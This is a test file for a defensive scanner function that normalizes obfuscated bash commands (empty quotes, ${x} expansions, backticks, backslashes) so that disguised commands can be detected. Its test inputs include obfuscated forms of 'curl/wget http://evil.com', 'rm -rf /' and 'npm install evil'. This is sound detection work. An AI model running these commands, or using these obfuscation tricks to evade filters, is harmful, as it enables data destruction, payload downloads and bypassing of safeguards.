// bash-normalize.test.mjs — Tests for scanners/lib/bash-normalize.mjs
// Zero external dependencies: node:test + node:assert only.

import { describe, it } from 'node:test';
import assert from 'node:assert/strict';
import { normalizeBashExpansion } from '../../scanners/lib/bash-normalize.mjs';

// ---------------------------------------------------------------------------
// Empty quote stripping
// ---------------------------------------------------------------------------

describe('bash-normalize — empty single quotes', () => {
  it("strips empty single quotes: w''get -> wget", () => {
    assert.equal(normalizeBashExpansion("w''get http://evil.com"), 'wget http://evil.com');
  });

  it("strips multiple empty single quotes: c''u''rl -> curl", () => {
    assert.equal(normalizeBashExpansion("c''u''rl http://evil.com"), 'curl http://evil.com');
  });

  it("does not strip non-empty single quotes: 'hello'", () => {
    assert.equal(normalizeBashExpansion("echo 'hello world'"), "echo 'hello world'");
  });
});

describe('bash-normalize — empty double quotes', () => {
  it('strips empty double quotes: r""m -> rm', () => {
    assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
  });

  it('strips multiple empty double quotes: n""p""m -> npm', () => {
    assert.equal(normalizeBashExpansion('n""p""m install evil'), 'npm install evil');
  });

  it('does not strip non-empty double quotes: "hello"', () => {
    assert.equal(normalizeBashExpansion('echo "hello world"'), 'echo "hello world"');
  });
});

// ---------------------------------------------------------------------------
// Parameter expansion stripping
// ---------------------------------------------------------------------------

describe('bash-normalize — parameter expansion', () => {
  it('restores single-char ${x} to x: c${u}rl -> curl', () => {
    assert.equal(normalizeBashExpansion('c${u}rl http://evil.com'), 'curl http://evil.com');
  });

  it('restores multiple single-char expansions: c${u}r${l} -> curl', () => {
    assert.equal(normalizeBashExpansion('c${u}r${l}'), 'curl');
  });

  it('strips multi-char ${USER} entirely: c${USER}rl -> crl', () => {
    assert.equal(normalizeBashExpansion('c${USER}rl http://evil.com'), 'crl http://evil.com');
  });

  it('strips expansion with default syntax: c${u:-default}rl -> crl', () => {
    // ${u:-default} has multi-char content, so stripped entirely
    assert.equal(normalizeBashExpansion('c${u:-default}rl'), 'crl');
  });

  it('does not strip $VAR (no braces)', () => {
    assert.equal(normalizeBashExpansion('echo $HOME'), 'echo $HOME');
  });

  it('handles ${_} single underscore -> _', () => {
    assert.equal(normalizeBashExpansion('c${_}url'), 'c_url');
  });
});

// ---------------------------------------------------------------------------
// Backtick subshell stripping
// ---------------------------------------------------------------------------

describe('bash-normalize — backtick subshell', () => {
  it('strips empty backtick subshell', () => {
    const input = 'cu' + '``' + 'rl';
    assert.equal(normalizeBashExpansion(input), 'curl');
  });

  it('strips backtick with whitespace only', () => {
    const input = 'cu' + '` `' + 'rl';
    assert.equal(normalizeBashExpansion(input), 'curl');
  });

  it('does not strip backtick with content', () => {
    const input = 'echo ' + '`date`';
    assert.equal(normalizeBashExpansion(input), input);
  });
});

// ---------------------------------------------------------------------------
// Backslash stripping (iterative)
// ---------------------------------------------------------------------------

describe('bash-normalize — backslash evasion', () => {
  it('strips backslash between word chars: c\\u\\r\\l -> curl', () => {
    assert.equal(normalizeBashExpansion('c\\u\\r\\l'), 'curl');
  });

  it('strips backslash in longer name: w\\g\\e\\t -> wget', () => {
    assert.equal(normalizeBashExpansion('w\\g\\e\\t http://evil.com'), 'wget http://evil.com');
  });

  it('strips single backslash: c\\url -> curl', () => {
    assert.equal(normalizeBashExpansion('c\\url'), 'curl');
  });

  it('handles 5-char backslash evasion: m\\k\\f\\s\\x -> mkfsx', () => {
    assert.equal(normalizeBashExpansion('m\\k\\f\\s\\x'), 'mkfsx');
  });

  it('does not strip leading backslash before n', () => {
    assert.equal(normalizeBashExpansion('echo \\n'), 'echo \\n');
  });
});

// ---------------------------------------------------------------------------
// Combined evasion techniques
// ---------------------------------------------------------------------------

describe('bash-normalize — combined evasion', () => {
  it('strips mixed empty quotes and expansion: c${u}r""l -> curl', () => {
    assert.equal(normalizeBashExpansion('c${u}r""l'), 'curl');
  });

  it("strips empty quotes in wget: w''get -> wget", () => {
    assert.equal(normalizeBashExpansion("w''get http://evil.com"), 'wget http://evil.com');
  });

  it('handles complex evasion: r""${m}m -rf / -> rmm -rf /', () => {
    // r"" strips to r, ${m} -> m (single-char), then m remains
    assert.equal(normalizeBashExpansion('r""${m}m -rf /'), 'rmm -rf /');
  });

  it('strips expansion + backslash: c${u}r\\l -> curl', () => {
    assert.equal(normalizeBashExpansion('c${u}r\\l'), 'curl');
  });
});

// ---------------------------------------------------------------------------
// Normal commands unchanged
// ---------------------------------------------------------------------------

describe('bash-normalize — normal commands pass through', () => {
  it('leaves normal command unchanged: ls -la', () => {
    assert.equal(normalizeBashExpansion('ls -la'), 'ls -la');
  });

  it('leaves npm install unchanged', () => {
    assert.equal(normalizeBashExpansion('npm install express'), 'npm install express');
  });

  it('leaves git commands unchanged', () => {
    assert.equal(normalizeBashExpansion('git status'), 'git status');
  });

  it('leaves pipe commands unchanged', () => {
    assert.equal(normalizeBashExpansion('cat file.txt | grep pattern'), 'cat file.txt | grep pattern');
  });

  it('leaves quoted arguments unchanged', () => {
    assert.equal(normalizeBashExpansion('echo "hello world"'), 'echo "hello world"');
  });

  it('leaves single-quoted args unchanged', () => {
    assert.equal(normalizeBashExpansion("grep -r 'pattern' ."), "grep -r 'pattern' .");
  });

  it('handles empty string', () => {
    assert.equal(normalizeBashExpansion(''), '');
  });

  it('handles null/undefined', () => {
    assert.equal(normalizeBashExpansion(null), '');
    assert.equal(normalizeBashExpansion(undefined), '');
  });
});
